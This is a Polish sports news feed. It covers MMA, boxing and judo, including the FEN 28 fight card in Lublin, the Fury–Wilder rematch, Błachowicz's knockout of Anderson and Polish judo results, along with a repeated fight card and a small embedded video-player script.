Pałasz na zawodowstwie przebywa od listopada 2018 roku. Fighter Rio Grapling Wrocław rozprawił się w premierowej odsłonie z Patrykiem Świtoniem. Miesiąc wcześniej w 1. rundzie pokonał przez KO Hazbi Edelbieva. Po znokautowaniu Dawida Ostaszewskiego w maju 2019 roku dwa miesiące później Pałasz zanotował pierwsze poddanie, od kiedy zawodowo walczy. Mataleo w 2. rundzie odklepał znany polskiej publiczności Mateusz Łazowski.

KARTA WALK FEN 28

65,8, MMA: Daniel Rutkowski VS Adrian Zieliński *
120,2, MMA: Szymon Bajor VS Ednaldo Oliveira *
93,0, MMA: Rafał Kijańczuk VS Marcin Wójcik
93,0, MMA: Paweł Trybała VS TBA
77,1, MMA: Szymon Dusza VS TBA
83,9, MMA: Marcin Naruszczka VS Piotr Wawrzyniak
79,0 KG, K-1: Dominik Zadora VS TBA
56,7, MMA: Izabela Badurek VS Izabela Walczak
120,2, MMA: Marcin Sianos VS Adam Pałasz
70,3, MMA: Łukasz Charzewski VS Arbi Nashkhoev

* Walka o pas mistrzowski

Kup bilet na galę FEN 28 w Lublinie na portalu: www.eventim.pl. Studenci oraz uczniowie mogą nabyć bilety z 20% rabatem.

Dołącz do wydarzenia na portalu Facebook:  TUTAJ.

FEN Social Media:

Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Wybrano najbardziej rokujących – nowi zawodnicy w FEN

Piotr Golon i Karol Kruzel podpiszą niebawem zawodowe kontrakty z FEN. Obaj zawodnicy wystąpią pod szyldem federacji jeszcze w 2020 roku.

Piotr Golon to zawodnik walczący w formule MMA w kategorii półśredniej. Karol Kruzel specjalizuje się w walce w stójce i swoją przyszłość wiąże z K-1, również w kategorii do 77 kilogramów. Obaj zawodnicy wyróżniali się podczas pierwszego zimowego obozu organizowanego przez FEN, który w dniach od 16 do 23 lutego odbywał się w Zakopanem. Dobra dyspozycja Golona i Kruzela otworzyła im drzwi do wielkich karier. Stąd decyzja zarządu FEN, aby podpisali oni zawodowe kontrakty. Pierwsze pojedynki będą miały miejsce podczas gal organizowanych przez federację w 2020 roku.

""

„Piotrek i Karol pokazali się ze znakomitej strony podczas zimowego obozu FEN, dzięki czemu zyskali uznanie moje oraz trenerów, pod których okiem trenowali. Regularnie odkrywamy bardzo dobrych zawodników, dajemy im szanse i śmiało mogę powiedzieć, że w zdecydowanej większości tacy ludzie później robią wielkie kariery walcząc na całym świecie. Postanowiłem, że tak samo będzie również i teraz i z przyjemnością zobaczę ich na naszych galach” – powiedział prezes FEN, Paweł Jóźwiak

Wspieramy Karolinę Kowalkiewicz

Podczas gali UFC Fight Night 168 Karolina Kowalkiewicz przegrała z Xiaonan Yan. Polka nabawiła się kontuzji oka. W nagraniu skierowanym do fanów fighterka nie ukrywała emocji, dlatego bądźmy z nią w tych trudnych chwilach.

W Auckland Kowalkiewicz stoczyła jedenastą walkę w UFC. 34-latka poniosła czwartą porażkę z rzędu, a Yan mocno ją podobijała. Kontuzja oka utrudniała Polce rywalizację z Chinką. – Nie mogę powiedzieć, że jest wszystko ok, no bo nie jest. Wynik teraz ma już mniejsze znaczenie. Najważniejsze jest moje zdrowie. Na początku pierwszej rundy taka bardzo delikatna kostka pod okiem mi się złamała i nerw wzrokowy tam utkwił. I całą walkę praktycznie nic nie widziałam. Widziałam podwójnie, wszystko było jak we mgle. Zaraz po walce trafiłam do szpitala. Spędziłam cały dzień w szpitalu. Dzisiaj jadę do kolejnych specjalistów i będą podejmować decyzję, czy mogę wracać z tym okiem do Polski czy muszą mnie operować tutaj na miejscu. Prawdopodobnie będę musiała tutaj zostać, ponieważ lot może być bardzo niebezpieczny ze względu na duże wysokości, duże skoki ciśnienia – mówiła w nagraniu skierowanym do fanów Kowalkiewicz. – Starszą mnie, że mogłabym nawet stracić wzrok, a wolałabym widzieć – dodawała.

Sportowiec każdego dnia trenuje, aby znaleźć się na szczycie. Karolina Kowalkiewicz osiągnęła poziom mistrzowski w Polsce, gdzie dominowała w KSW, co dało jej kontrakt w UFC. W amerykańskiej organizacji zanotowała pięć zwycięstw. Polka rywalizowała również o pas w wadze słomkowej, jednak lepsza okazała się Joanna Jędrzejczyk. Ostatni czas był dla niej ciężki, ale ambitnie walczyła. Występ w Nowej Zelandii miał szczególny wymiar, ponieważ trzy wcześniejszy walki nie zakończyły się po myśli Kowalkiewicz. Taki jest sport – raz się wygrywa, raz przegrywa. Karolina Kowalkiewicz przeżywa teraz trudne chwile, a najważniejszy jest jej powrót do zdrowia. Dlatego bądźmy z nią w tym czasie! Wierzymy w powrót Karoliny Kowalkiewicz do zdrowia, kolejne walki i zwycięstwa naszej zawodniczki.

Fot. Karolina Kowalkiewicz Facebook

KM

Fury mistrzem świata

Tyson Fury pokonał przed czasem Deontaya Wilder i został nowym mistrzem świata WBC w wadze ciężkiej.

Na ten pojedynek czekano od dawna. 1 grudnia 2018 roku Tyson Fury zaprezentował się z dobrej strony i zaskoczył Deontaya Wildera. Walka zakończyła się remisem. W rewanżu nie było żadnych wątpliwości, kto jest lepszy.

W MGM Grand doszło do prawdziwego show. Fury zmierzał do ringu na tronie, w czerwonym odzieniu i z koroną na głowie. Chwilę tę samą trasę pokonywał Wilder. Amerykanin wyglądał niczym robot w czarnym stroju i koronie. Od początku starcia aktywny był Tyson Fury, który zaczął od celnego lewego. Wilder wyprowadzał ciosy, jednak rywal skutecznie przed nimi uciekał. Anglik był stroną przeważającą i dyktującą warunki. Jeszcze w drugiej rundzie Wilder wyprowadził kilka mocnych ciosów, ale potem przygasł. W trzeciej odsłonie Fury trafił mistrza w okolice lewego ucha, a ten padł na deski. Wstał, jednak po chwili znowu leżał na ziemi, ale w wyniku potknięcia. Wilder nie próbował atakować, cofał się, był zdezorientowany i słaniał się na nogach. W czwartej rundzie Amerykanin ponownie na deskach, ale powodem takiego stanu rzeczy było potknięcie.

Sytuacja nie wyglądała korzystnie dla Amerykanina. Fury czuł się dobrze i z każdą minutą był bliżej celu. W piątej rundzie "Król Cyganów" wyprowadził cios na korpus rywala, a ten padł na deski. Fury był szybszy i skuteczniejszy, a Wilder walczył siłą woli. W szóstej rundzie Amerykanin przy linach starał się odpowiadać rywalowi, ale widoczne było ogromne zmęczenie czempiona. Fury pozwolił sobie nawet na to, żeby… polizać Wildera po szyi. Kilka minut później było po walce. W siódmej odsłonie 31-latek z Wilmslow zamknął Amerykanina w narożniku i słał w jego stronę kolejne ciosy. Wkroczył sędzia, który przerwał walkę. Fury został nowym mistrzem świata! Z obrotu sprawy nie był zadowolony Wilder, ale musiał pogodzić się z decyzją sędziego. Obraz walki był jednostronny – Fury dyktował warunki rywalizacji, a Amerykanin nie przypominał potężnego bombardiera, który posyłał na deski kolejnych rywali.

Fury wygrał 30. walkę w karierze. Jeszcze kilkanaście miesięcy temu nikt nie spodziewał się, że Anglik znajdzie się na szczycie. To kolejny sukces Fury'ego, który w 2015 roku pokonał Władimira Kliczko i sięgnął po cztery pasy. Nigdy ich jednak nie bronił. Z tytułem WBC powinno być inaczej. Czy będzie trzecie starcia Fury – Wilder?

Fot. Tyson Fury Facebook

KM

Wielka kasa na stole

Walka o mistrzostwo świata w wadze ciężkiej, a więc i pieniądze muszą być duże. Deontay Wilder i Tyson Fury mają gwarancję 25 milionów dolarów.

Na ten pojedynek czeka cały świat. 22 lutego w MGM Grand w Las Vegas naprzeciw siebie staną mistrz świata WBC Deontay Wilder i Tyson Fury. Obaj pięściarze są niezwykle doświadczeni, skuteczni i zorientowani na cel. Należy spodziewać się emocjonującej walki. 1 grudnia 2018 roku Fury zaskoczył Wildera i pojedynek zakończył się remisem. Wszyscy zdawali sobie sprawę z potencjału "Olbrzyma z Wilmslow", ale za faworyta uchodził Amerykanin. Fury przystępował do pojedynku o pas po licznych perypetiach, ale od początku odważnie ruszył na czempiona. Długo przeważał Brytyjczyk, ale w końcu znalazł się na deskach, jednak był na tyle mocny, że wstawał i walczył dalej. Przede wszystkim Fury wytrzymał starcie kondycyjnie, a sędziowie punktowali 115:111 dla Wildera, 114:110 dla "Króla Cyganów" i 113:113. Remis stał się faktem.

Wiadomo było, że nie obędzie się bez rewanżu. Fury w wielkim stylu wrócił na szczyt i ma szansę ponownie zostać mistrzem świata. Przecież to on ponad cztery lata temu zdetronizował Władimira Kliczko. Z kolei Wilder od pięciu lat dzierży pas mistrza świata WBC i nie zamierza do oddawać. Obaj jeszcze nigdy nie przegrali, ale tym razem ktoś musi polec. Podczas środowej konferencji prasowej pojawiły się emocje. Bokserzy zaczęli się przepychać, dlatego po ważeniu nie dojdzie do spotkania twarzą w twarz. To dość zaskakujące rozwiązanie, ale taką decyzję podjęła Komisja Sportowa Stanu Nevada.

Główni aktorzy gali w Las Vegas są pewni swego. Wyjdą do ringu z jednym celem – wygrać. Wiadomo, że główną wartością jest pas WBC, ale w grze są wielkie pieniądze. Wilder i Fury mogą liczyć na 25 milionów dolarów. To gwarantowana kwota, która zapewne wzrośnie po uwzględnieniu sprzedaży gali w systemie pay per view.

W Las Vegas dojdzie również do starcia Charlesa Martina i Geralda Washingtona, których pokonał Adam Kownacki.

KM

Jotko zmierzy się z Andersem

Kolejne wyzwanie przed Krzysztofem Jotko. Polski zawodnik zaprezentuje się 11 kwietnia podczas gali UFC on ESPN+ 30 w Portland, a jego rywalem będzie Eryk Anders.

Jesienią ubiegłego roku 30-letni Jotko przeszedł operację barku i bicepsa. Polak przeszedł wielotygodniową rehabilitację i pod koniec grudnia ogłosił, że jest w pełni zdrowy. Kontuzja uniemożliwiła zawodnikowi urodzonemu w Elblągu występ na gali UFC 244 w Madison Square Garden w Nowym Jorku. Jotko miał rywalizować z Edmenem Shahbazyanem, ale musiał skupić się na powrocie do zdrowia. Teraz jest gotów na kolejne wyzwania. W styczniu pojawiły się informacje, że Jotko następną walkę w amerykańskiej organizacji stoczy w kwietniu. Wiadomo już więcej na ten temat. 11 kwietnia w Portland Polak spotka się z Erykiem Andersem.

Pod względem sportowym ubiegły rok Jotko może zaliczyć do udanych. Stoczył dwie walki i obie wygrał. 30-letni Polak pokonał Alena Amedovskiego i Marca-Andre Barriaulta. Zwycięstwa miały szczególną wagę, ponieważ Jotko przegrał wcześniejsze trzy starcia i jego przyszłość w UFC nie rysowała się w kolorowych barwach. Zawodnikowi udało się jednak wrócić na prostą. Trzeba przypomnieć, że wcześniej Polak miał fantastyczną serię pięciu zwycięstw z rzędu. Po cichu mówiło się o możliwym starciu o pas, jednak Jotko przegrał z Davidem Branchem i marzenia prysły. 11 kwietnia polski fighter stoczy trzynastą walkę w UFC. Jotko nie będzie miał łatwego zadania. Eryk Anders jest w gazie, ponieważ wygrał dwa ostatnie pojedynki. Można dostrzec podobieństwo w ostatnich losach Amerykanina i Polaka. Wcześniej Anders również przegrał trzy walki, ale odrodził się i znokautował Viniciusa Moreirę Castro. Ostatnim ofiarą Amerykanina był Gerald Meerschaert.

Jotko musi się mieć na baczności, ponieważ dziewięć z trzynastu wygranych walk 32-letni Anders zakończył przed czasem. Wydaje się, że faworytem starcia jest Polak, ale swoje umiejętności musi potwierdzić w oktagonie. W starciu wieczoru gali UFC w Portland zobaczymy Alistaira Overeema i Waltera Harrisa.

 Fot. Krzysztof Jotko Facebook

KM

Oliveira stanie na drodze Bajora w walce o historyczny pas

Ednaldo Oliveira (21-7-1, 11 KO, 2 SUB, 1 N/C) stanie 28 marca w Lublinie przed historyczną szansą. Brazylijczyk zmierzy się z Szymonem Bajorem (20-8, 8 KO, 9 SUB) w co-main evencie gali FEN 28. Stawką tego pojedynku będzie pas mistrzowski FEN w kategorii ciężkiej.

Oliveira ma 36 lat i pochodzi z Salvadoru usytuowanego we wschodniej części Brazylii. „Lula Molusco” jest doskonale znany polskiej publiczności, gdyż na gali Babilon MMA 9 pokonał niejednogłośną decyzją sędziów Michała Kitę. Chwilę później stoczył pasjonujący bój z Łukaszem Brzeskim. Oliveira na zawodowstwie przebywa od 2005 roku. W tym czasie wygrał 21 pojedynków, z czego 13 odniósł przed czasem. W grudniu 2019 roku wygrał na pełnym dystansie podczas gali w Dubaju. Walka w Lublinie będzie jego debiutem pod szyldem FEN.

Bajor jako pierwszy polski zawodnik stanie przed szansą zdobycia pasa mistrzowskiego w kategorii ciężkiej. Przed rokiem niepokonany w FEN fighter dopiero przywitał się z federacją i błyskawicznie rozprawił się z Grzegorzem Cieplińskim. W eliminatorze do walki o pas mistrzowski uporał się 2. odsłonie z Marcinem Sianosem. Bajor wojował nie tylko w Polsce – jest równie dobrze znany w Rosji, gdzie pokochali go kibice. Rzeszowianin 85% wygranych zanotował przed czasem.

KARTA WALK FEN 28

65,8, MMA: Daniel Rutkowski VS Adrian Zieliński *
120,2, MMA: Szymon Bajor VS Ednaldo Oliveira *
93,0, MMA: Rafał Kijańczuk VS Marcin Wójcik
93,0, MMA: Paweł Trybała VS TBA
77,1, MMA: Szymon Dusza VS TBA
83,9, MMA: Marcin Naruszczka VS Piotr Wawrzyniak
79,0 KG, K-1: Dominik Zadora VS TBA
56,7, MMA: Izabela Badurek VS Izabela Walczak
120,2, MMA: Adam Pałasz VS TBA
70,3, MMA: Łukasz Charzewski VS Arbi Nashkhoev

* Walka o pas mistrzowski

Kijańczuk stawi w Lublinie czoła powracającemu do FEN Wójcikowi

Marcin Wójcik (12-7, 5 KO, 5 SUB) powraca do klatki FEN. Niepokonany pod szyldem federacji zawodnik 28 marca w Lublinie skrzyżuje pięści z Rafałem Kijańczukiem (8-2, 8 KO). Będzie to eliminator do walki o pas mistrzowski w kategorii półciężkiej FEN.

Wójcik to jeden z najlepszych polskich zawodników w kategorii półciężkiej, który ma na swoim koncie wiele epickich bojów. Podczas FEN 8 już w 1. rundzie po jego popisowej akcji i poddaniu skapitulował Krzysztof Pietraszek. „The Giant” chwilę później, podczas 9. edycji na pełnym dystansie pokonał Wojciecha Janusza. Ostatnie miesiące to nokaut już w premierowej odsłonie nad Michałem Gutowskim. Sposobu na pokonanie Wójcika na przestrzeni całej, bogatej w sukcesy karierze nie znaleźli między innymi Tomasz Kondraciuk, Michał Fijałka i Marcin Łazarz. Wójcik związał się z FEN dłuższym kontraktem.

Kijańczuk ostatni swój zawodowy pojedynek, podczas FEN 26 we Wrocławiu, wygrał ekspresowo przez techniczny nokaut z weteranem polskiego MMA, Marcinem Zontkiem. Wcześniej stoczył pasjonujący, lecz przegrany bój z doświadczonym Adamem Kowalskim. Chełmianin dopiero w lutym 2018 roku zadebiutował w mieszanych sztukach walki i w ciągu 10 miesięcy odniósł aż 7 zwycięstw, z czego wszystkie zanotował w pierwszych rundach. Kijańczuk to były pretendent do tytułu mistrzowskiego federacji M-1 Global.

KARTA WALK FEN 28

65,8, MMA: Daniel Rutkowski VS Adrian Zieliński *
120,2, MMA: Szymon Bajor VS TBA *
93,0, MMA: Rafał Kijańczuk VS Marcin Wójcik
93,0, MMA: Paweł Trybała VS TBA
77,1, MMA: Szymon Dusza VS TBA
83,9, MMA: Marcin Naruszczka VS Piotr Wawrzyniak
79,0 KG, K-1: Dominik Zadora VS TBA
56,7, MMA: Izabela Badurek VS Izabela Walczak
120,2, MMA: Adam Pałasz VS TBA
70,3, MMA: Łukasz Charzewski VS Arbi Nashkhoev

* Walka o pas mistrzowski

Kup bilet na galę FEN 28 w Lublinie na portalu: www.eventim.pl. Studenci oraz uczniowie mogą nabyć bilety z 20% rabatem.

Dołącz do wydarzenia na portalu Facebook:  TUTAJ.

FEN Social Media:
Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Udany rewanż

Świetny występ Jana Błachowicza w Rio Rancho. Podczas gali UFC Fight Night 167 "Cieszyński Książę" w pierwszej rundzie znokautował Coreya Andresona.

Ta walka miała szczególny wymiar. Błachowicz chciał zrewanżować się Andersonowi za porażkę z 2015 roku w MGM Grand w Las Vegas. Po drugie, zwycięzca wykonałby duży krok w stronę pojedynku o pas mistrzowski kategorii półciężkiej. Zapowiadało się ciekawe widowisko, w którym zaprezentuje się dwóch mocnych fighterów. Anderson wygrał cztery ostatnie pojedynki, Błachowicz – trzy. Za faworyta pojedynku uchodził Amerykanin.

Polak był zdeterminowany i zdawał sobie sprawę ze stawki walki. Zaczęło się od wymian w stójce. Błachowicz próbował ciosów prostych i niskich kopnięć. Anderson starał się nadawać rytm pojedynkowi. Amerykanin opanował środek oktagonu i robił wszystko, aby spychać 36-latka pod siatkę. Anderson próbował sprowadzić starcie do parteru, jednak bezskutecznie. Taktyka 30-latka nie przyniosła mu wymiernych korzyści. W końcu nastąpił kluczowy moment walki wieczoru w Rio Rancho, Błachowicz wyprowadził potężny prawy sierpowy, po którym Anderson padł na deski. Polak ruszył, aby postawić kropkę nad "i", ale rywal był bezradny i sędzia przerwał walkę. Pojedynek trwał trzy minuty i osiem sekund. Błachowicz wzniósł ręce w geście triumfu. Warto dodać, że 36-letni Polak otrzymał premię w wysokości 50 tys. dolarów za "występ wieczoru". 

"Cieszyński Książę" odniósł dziewiąte zwycięstwo w UFC, a 26 w karierze. To kolejny efektowny nokaut w wykonaniu Błachowicza. W lipcu 2019 roku Polak odprawił Luke'a Rockholda, co odbiło się szerokim echem. Bez dwóch zdań wygrana z Andersonem ma ogromną wagę i znaczenie w kontekście walki o pas. Po zwycięstwie Błachowicz wyzwał do walki o pas mistrza Jona Jonesa. – Jestem tutaj Jon. Najwyższa pora – napisał Polak w mediach społecznościowych. 

Wydaje się naturalne, że teraz nadeszła pora na starcie Błachowicza z Jonesem. 36-latek zrobił wszystko, aby móc wejść do oktagonu z Amerykaninem. Chyba nie pozostaje nic innego jak czekać na datę i miejsce starcia.

Fot. Jan Błachowicz Facebook

KM

LIVE: Gala Wirtuoz Challenge #5 – Special Edition

Zapraszamy na transmisję telewizyjną z Gali Wirtuoz Challenge #5 – Time to Glory.

We kindly invite you to TV transmission from Gala Wirtuoz Challenge #5 – Time to Glory.

[kod]

Wirtuoz Challenge #5 – Special Edition

Wirtuoz Challenge #5 – Special Edition

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Szansa na walkę Pacquaio z McGregorem?

Wraca temat starcia Manny Pacquiao z Conorem McGregorem. Filipiński pięściarz podpisał kontrakt menadżerski z grupą Paradigm Sports Management, która reprezentuje interesy Irlandczyka. Czy temat pojedynku Pacquiao i McGregora nabierze realnych kształtów?

To nie pierwsze przymiarki do starcia mistrza świata ośmiu kategorii wagowych z byłym czempionem UFC. W 2017 roku Pacquiao podkreślał chęć rywalizacji z McGregorem. Filipińczyk przyznawał, że doszło do wstępnych rozmów. Starcie miało się odbyć w kwietniu 2018 roku, jednak do pojedynku ostatecznie nie doszło. Bez wątpienia pojedynek pod względem marketingowym cieszyłby się sporym zainteresowaniem. Szlak w materii rywalizacji zawodnika MMA z bokserem przetarli… McGregor i Floyd Mayweather Jr.

Minęły dwa lata i temat wraca. Pacquiao podpisał kontrakt z grupą Paradigm Sports Management, która reprezentuje interesy McGregora. – Jestem dumny ze współpracy z Paradigm Sports Management i podekscytowany możliwościami, jakie oferują Audie Attar i PSM – powiedział „Pacman”. Ponoć podjęto rozmowy na temat bokserskiego starcia Filipińczyka i Irlandczyka. – Witaj w drużynie – napisał w mediach społecznościowych McGregor. Warto wspomnieć, że dobiega końca kontrakt promotorski pięściarza z Alem Haymonem i kolejny występ będzie wypełnieniem umowy. Pierwotnie pojedynek planowano na połowę kwietnia, ale prawdopodobnie w tym terminie do niego nie dojdzie.

Po raz kolejny świat boksu przeniknąłby się z rzeczywistością MMA. McGregor wrócił po ponad roku przerwy do rywalizacji i w efektownym stylu pokonał podczas gali UFC 246 Donalda Cerrone. Przed starciem z Amerykaninem Irlandczyk przyznawał, że byłby gotów spotkać się z Pacquiao na otwarcie stadionu Allegiant.

41-latek w ubiegłym roku stoczył dwa pojedynki. W Las Vegas pokonał Adriena Bronera i Keitha Thurmana. Ta druga wygrana dała mu tytuł mistrza świata wagi półśredniej WBA. Pacquiao mimo wieku nadal prezentuje wysoką dyspozycję i jest gotowy na kolejne wyzwania. Bez dwóch zdań podpisanie przez niego umowy z PSM rozbudzi dyskusję na temat jego starcia z McGregorem. Zapewne Irlandczyk ma wiele opcji i pomysłów. Pytanie – czy interesy stron się spotkają?

Fot. Manny Pacquiao Facebook

KM

Rocky Warriors Cartel #4 – Już 22 lutego w Dąbrowie Górniczej

Już w sobotę 22 lutego zapraszamy na transmisję telewizyjną z Gali Rocky Warriors Cartel #4. Planowany START transmisji o godz. 19.00. Transmisja tylko w telewizji FighTime (www.FighTime.pl).

This Saturday on February 22 we kindly invite you to TV transmission from Gala "Rocky Warriors Cartel #4. The planned transmission start on 7 PM. Live broadcast only on FighTime TV (www.FighTime.pl).

Polacy bez medalu, porażka Rinera

Bez medalu zakończyli rywalizację w zawodach Grand Slam w judo w Paryżu Polacy. W stolicy Francji pogromcę znalazł Teddy Riner (+100kg), który nie przegrał od ponad 150 pojedynków!

Każdy kolejny turniej jest niezwykle ważny w kontekście walki o udział w Igrzyskach Olimpijskich w Tokio. W Paryżu swój dorobek o 260 punktów poprawili Beata Pacut (78kg) i Piotr Kuczera (90kg, na zdjęciu), którzy zakończyli rywalizację na siódmych lokatach. Łącznie w Paryżu zaprezentowało się ośmioro reprezentantów Polski.

Pacut stoczyła w stolicy Francji cztery pojedynki. Zaczęła od morderczej rywalizacji z Christiną Faber, jednak po ponad sześciu minutach to Polka mogła cieszyć się ze zwycięstwa. Potem Pacut wypunktowała Jovanę Peković. W ćwierćfinale 24-latka trafiła na mocną Klarę Apotekar, która w ubiegłym roku triumfowała w Igrzyskach Europejskich. Słowenka zdobyła waza ari i mogła cieszyć się z awansu do półfinału. Pacut pozostały zmagania w repasażach, gdzie spotkała się z Kaliemą Antomarchi. Doświadczona Kubanka triumfowała i w ostatecznym rozrachunku zdobyła brąz.

W styczniu Kuczera stał na podium w Tel Awiwie, w Paryżu sukcesu nie udało się powtórzyć. Polak znakomicie wszedł w zawody. Judoka Kejza Team Rybnik pokonał trzech rywali, w tym srebrnego medalistę ubiegłorocznych zmagań w Paryżu – Islama Bozbayeva. W ćwierćfinale los skojarzył Polaka z mistrzem świata Noelem Van T Endem. Holender triumfował przed czasem, a Kuczera musiał przejść przez repasaże, aby myśleć o medalu. Ta sztuka mu się nie udała. Polak przegrał z Kubańczykiem Ivanem Felipe Silvą Moralesem.

Dwie walki w Paryżu wygrał Wiktor Mrówczyński (73kg), po jednym triumfie na swoim koncie zapisali Agata Perenc (52kg) i Michał Bartusik (73kg). Bez wygranej zawody zakończyli Anna Borowska (57kg), Daria Pogorzelec (70kg) i Tomasz Szczepaniak (90kg).

Wielką niespodzianką Grand Slam w Paryżu jest porażka Teddy'ego Rinera. Francuz to legenda judo, który przyzwyczaił do kolejnych zwycięstw. Na swoim koncie ma dwa złote medale olimpijskie (2012 i 2016) oraz dziesięć triumfów w mistrzostwach świata. Po raz ostatni Riner przegrał 13 września 2010 roku. W Paryżu wygrał dwie walki, jednak przeszkodą nie do przejścia okazał się Japończyk Kokoro Kageura.

KM

W oczekiwaniu na terminy

W kolejnym pojedynku w wadze ciężkiej Oleksandr Usyk ma zmierzyć się z Dereckiem Chisorą. Prawdopodobnie pięściarze spotkają się w kwietniu w Wielkiej Brytanii. Z kolei pojedynek Anthony'ego Joshuy z Kubratem Pulewem ma odbyć się 6 czerwca w Londynie.

Mamy pełną świadomość, że najbliższy czas w wadze ciężkiej będzie bardzo gorący. Już 22 lutego w MGM Grand w Las Vegas mistrz świata WBC Deontay Wilder zmierzy się z Tysonem Furym. Będzie to drugie starcie pięściarzy. W grudniu 2018 roku pojedynek zakończył się remisem. Wokół starcia są ogromne emocje, obaj pięściarze są pewni swego.

Na drugi pojedynek w kategorii królewskiej czeka Oleksandr Usyk. Ukraiński pięściarz po zawojowaniu wagi junior ciężkiej, w której zdobył tytuły WBO, WBC, WBA i IBF oraz wygrał turniej World Boxing Super Series postanowił poszukać kolejnych wyzwań. 25 maja 2019 roku Usyk miał zadebiutować w wadze ciężkiej, jednak na przeszkodzie stanęła kontuzja. Kilka miesięcy później urodzony w Symferopolu pięściarz pojawił się w ringu. W debiucie w wadze ciężkiej Ukrainiec pokonał przed czasem Chazza Witherspoona. Teraz przyszedł czas na bardziej wymagającego rywala. Usyk skrzyżuje rękawice z Dereckiem Chisorą. Początkowo pojedynek miał odbyć się 28 marca, ale ilość ciekawych walk w wadze ciężkiej powoduje, że promotorzy muszą wszystko dokładnie poukładać. W związku z tym Usyk wejdzie z Chisorą do ringu zapewne w kwietniu. Zwycięzca pojedynku będzie obowiązkowym pretendentem do pasa WBO. Warto dodać, że Chisora w ubiegłym roku wygrał trzy pojedynki. Pokonał m.in. Artura Szpilkę.

Wiele dyskusji wywołuje również pojedynek mistrza WBA, IBF, WBO i IBO Anthony'ego Joshuy z Kubratem Pulewem. Początkowo mówiło się, że starcie odbędzie się kwietniu. Potem wskazywano na przełom maja i czerwca. Pojawiła się również ciekawa lokalizacja w postaci stadionu w Stambule. Ofert było więcej m.in. Nigeria czy Arabia Saudyjska. Joshua chciał jednak walczyć na własnej ziemi, gdzie czuje się najlepiej. Walka "AJ" z Pulewem prawdopodobnie odbędzie się 6 czerwca w Londynie. Niewykluczone, że areną walki będzie Tottenham Hotspur Stadium.

Fot. Александр Усик / Usyk Facebook

KM

Naruszczka sprawdzi Wawrzyniaka na FEN 28

Marcin Naruszczka (19-9-2, 7 KO, 2 SUB) podejmie Piotra Wawrzyniaka (7-5, 4 KO) podczas gali FEN 28, która 28 marca odbędzie się w hali Globus w Lublinie. Zawodnik z Poznania tym samym zadebiutuje pod szyldem FEN.

Naruszczka ostatnim razem w klatce FEN zameldował się podczas 24. edycji, kiedy to zremisował z Bartoszem Leśko. Wcześniej decyzją sędziów pokonał… Leśko, z którym zmierzył się po raz pierwszy, również w Warszawie. Pół roku wcześniej Naruszczka stoczył pasjonujący bój z Andrzejem Grzebykiem, a starcie to zostało wybrane najlepszą walką wieczoru gali „Summer Edition” w Koszalinie. Trenujący w Warszawie zawodnik stoczył 30 zawodowych pojedynków, z których aż 19 wygrał.

Wawrzyniak ma w swoim rekordzie 7 zawodowych zwycięstw, cztery walki zakończył przez nokauty. W czerwcu 2014 roku zawodnik z Poznania po trzech rundach pokonał jednogłośną decyzją sędziów Antoniego Chmielewskiego. Wawrzyniak do swojego dorobku dopisał później jeszcze Sergiu Breba, którego narożnik poddał w 3. rundzie pojedynku.

KARTA WALK FEN 28

65,8, MMA: Daniel Rutkowski VS Adrian Zieliński *
120,2, MMA: Szymon Bajor VS TBA *
93,0, MMA: Rafał Kijańczuk VS TBA
93,0, MMA: Paweł Trybała VS TBA
77,1, MMA: Szymon Dusza VS TBA
79,0 KG, K-1: Dominik Zadora VS TBA
83,9, MMA: Marcin Naruszczka VS Piotr Wawrzyniak
56,7, MMA: Izabela Badurek VS Izabela Walczak
120,2, MMA: Adam Pałasz VS TBA
70,3, MMA: Łukasz Charzewski VS Arbi Nashkhoev

* Walka o pas mistrzowski

Kup bilet na galę FEN 28 w Lublinie na portalu: www.eventim.pl. Studenci oraz uczniowie mogą nabyć bilety z 20% rabatem.

Dołącz do wydarzenia na portalu Facebook:  TUTAJ.

FEN Social Media:
Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Powrót Japońskiego Drwala. Zadora wystąpi w Lublinie

Dominik Zadora (23-8) wystąpi podczas gali FEN 28, która 28 marca odbędzie się w hali Globus w Lublinie. Tym samym „Japoński Drwal” po raz trzeci wystąpi pod szyldem FEN. Limit umowny w tym pojedynku to 79 kilogramów.

Zadora to były mistrz FEN oraz czempion DSF Kickboxing Challenge. Zawodnik z Bolesławca pod szyldem federacji zadebiutował w styczniu 2019 roku, gdy zdetronizował ówczesnego mistrza Łukasza Pławeckiego. W pierwszej obronie tytułu Zadora skonfrontował się z Wojciechem Wierzbickim i przegrał ten pojedynek po trzech rundach przez kontuzję. Teraz w pełni zdrowy reprezentant klubu Fighter Wrocław zrobi pierwszy krok w kierunku odzyskania pasa mistrzowskiego.

KARTA WALK FEN 28

65,8, MMA: Daniel Rutkowski VS Adrian Zieliński *
120,2, MMA: Szymon Bajor VS TBA *
93,0, MMA: Rafał Kijańczuk VS TBA
93,0, MMA: Paweł Trybała VS TBA
77,1, MMA: Szymon Dusza VS TBA
79 KG, K-1: Dominik Zadora VS TBA
56,7, MMA: Izabela Badurek VS Izabela Walczak
120,2, MMA: Adam Pałasz VS TBA
70,3, MMA: Łukasz Charzewski VS Arbi Nashkhoev
TBA VS TBA

* Walka o pas mistrzowski

Kup bilet na galę FEN 28 w Lublinie na portalu: www.eventim.pl. Studenci oraz uczniowie mogą nabyć bilety z 20% rabatem.

Dołącz do wydarzenia na portalu Facebook:  TUTAJ.

FEN Social Media:
Facebook:  facebook.com/fightexclusivenight/
Twitter:  twitter.com/fenmma
Instagram:  instagram.com/fightexclusivenight/

Trzy razy brąz

W miniony weekend judocy rywalizowali w Odivelas i w Sofii. Polska na swoim koncie zapisała trzy brązowe medale.

